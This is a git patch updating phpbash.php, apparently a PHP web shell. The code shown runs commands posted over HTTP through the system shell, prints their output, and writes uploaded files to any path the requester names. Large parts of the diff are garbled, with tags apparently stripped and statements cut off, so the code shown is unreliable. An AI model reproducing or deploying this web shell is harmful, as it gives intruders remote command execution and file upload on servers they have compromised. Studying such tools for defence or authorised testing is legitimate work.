From 2ba990a1719eb402f3cca32727d0bf7bd3fa950a Mon Sep 17 00:00:00 2001 From: Nick Dandolos <128314429+b4ndit23@users.noreply.github.com> Date: Tue, 3 Feb 2026 00:10:22 +0100 Subject: [PATCH 1/3] Update phpbash.php --- phpbash.php | 89 ++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 88 insertions(+), 1 deletion(-) diff --git a/phpbash.php b/phpbash.php index dd7ff71..bff64e8 100644 --- a/phpbash.php +++ b/phpbash.php @@ -1,5 +1,31 @@ &1")); foreach ($output as $line) { @@ -23,7 +49,7 @@ - + phpbash
+&1")); foreach ($output as $line){echo htmlentities($line, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "
";}die();}else if (!empty($_FILES['file']['tmp_name']) && !empty($_POST['path'])){$filename=$_FILES["file"]["name"]; $path=$_POST['path']; if ($path !="/"){$path .="/";}if (move_uploaded_file($_FILES["file"]["tmp_name"], $path.$filename)){echo htmlentities($filename) . " successfully uploaded to " . htmlentities($path);}else{echo "Error uploading " . htmlentities($filename);}die();}?>phpbash